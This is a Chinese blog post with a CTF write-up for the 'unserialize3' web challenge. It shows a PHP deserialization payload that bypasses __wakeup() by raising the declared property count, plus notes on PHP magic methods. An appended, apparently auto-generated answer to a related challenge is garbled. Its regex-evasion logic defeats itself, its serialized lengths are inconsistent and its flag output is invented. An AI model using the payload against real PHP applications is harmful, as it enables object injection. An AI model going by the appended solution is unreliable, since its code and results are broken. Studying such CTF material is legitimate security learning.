攻防世界-web-高手进阶区-unserialize3

题目

[外链图片转存失败(img-py9MNUTH-1562730330323)(E:\CTF\小白学习总结\攻防世界\web\picture2\6.ti.PNG)]

writeup

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}

分析上述代码,发现:_wakeup()

考虑反序列化

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo serialize($a);
?>

得到:

[外链图片转存失败(img-yCcDw5cW-1562730330325)(E:\CTF\小白学习总结\攻防世界\web\picture2\6.1.PNG)]

即:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

又因为_wakeup(),要求被序列化的对象属性个数要大于原来的1

则构造:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag

[外链图片转存失败(img-MRU3NvEs-1562730330327)(E:\CTF\小白学习总结\攻防世界\web\picture2\6.flag.PNG)]

知识点

1、unserialize()与serialize()

<?php
class a{
public $flag = '111';
}
$b = new a();
echo serialize($b);
?>

[外链图片转存失败(img-2G6s4Jh1-1562730330328)(E:\CTF\小白学习总结\攻防世界\web\picture2\k6.1.PNG)]

结果是:

O:1:"a":1:{s:4:"flag";s:3:"111";}

[外链图片转存失败(img-PRKPbSjb-1562730330329)(E:\CTF\小白学习总结\攻防世界\web\picture2\k6.2.png)]

即:

上述结果可分析为:

序列对象:o - object
被序列化的类的名称的长度: 1
被序列化的类的名称:"a"
被序列化的对象的属性个数:1
属性名:s
属性值:4

2、_sleep()_wakeup()

这两个方法是在对象的序列化与反序列化里使用的。

当序列化serialize对象时,可以把对象里的属性和方法转换成连续的bytes数据,保存在一个文件里或者在网络上传输;

当需要使用这个对象时,就可以反序列化unserialize这个字符串,得到这个对象,然后继续使用。

当对一个对象序列化时,php就会调用_sleep()方法(如果存在的话);

在反序列化时,php就会调用_wakeup()方法(如果存在的话)。

_sleep()这个方法可以用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误。

在反序列化unserialize时,会检查是否存在_wakeup()方法,如果存在,则会调用_wakeup()方法,预先准备对象数据。

_sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。

_wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

为了绕过_wakeup(),我们会将序列化的对象的属性个数的值加大,超过规定数来进行绕过。

3、魔术方法

PHP中以两个下划线开头的方法,_construct(), _destruct (), _call(),_callStatic(),_get(),_set(),_isset(), _unset (), _sleep(), _wakeup(), _toString(), _set_state(), _clone(),_autoload()等,被称为"魔术方法"(Magic methods)。这些方法在一定条件下有特殊的功能.

与序列化和反序列化的魔术方法主要是:

_construct()	//当一个对象创建时被调用
_destruct() 	//对象被销毁时触发
_wakeup() 	    //使用unserialize时触发
_sleep() 	    //使用serialize时触发
_toString() 	//把类当做字符串时触发
_get()      	//用于从不可访问的属性读取数据
_set()      	//用于将数据写入不可访问的属性
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
这道题是一个 PHP 反序列化的题目。 题目描述: 提示:这次不会那么简单了,打开源代码看看? 源代码: ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析: 首先看到这是一个传入参数进行反序列化的题目,传入参数为 $_GET['a'],并且在反序列化后判断其类型是否为 Flag,如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag'),意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中,会对 $this->show 变量进行正则匹配,匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i,如果匹配到就会输出 'hacker!'。这里需要注意的是,$this->show 的值是 Show 类的一个实例,而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 解法: 根据题目分析,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例,该实例的 $name 值为一个正则表达式的匹配条件,然后将该实例作为 Flag 类的一个属性,最后将 Flag 类序列化即可。 构造序列化字符串的代码如下: ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上,然后访问 http://your-ip/unserialize3.php,得到序列化后的字符串: ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可,访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D,即可得到 flag。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值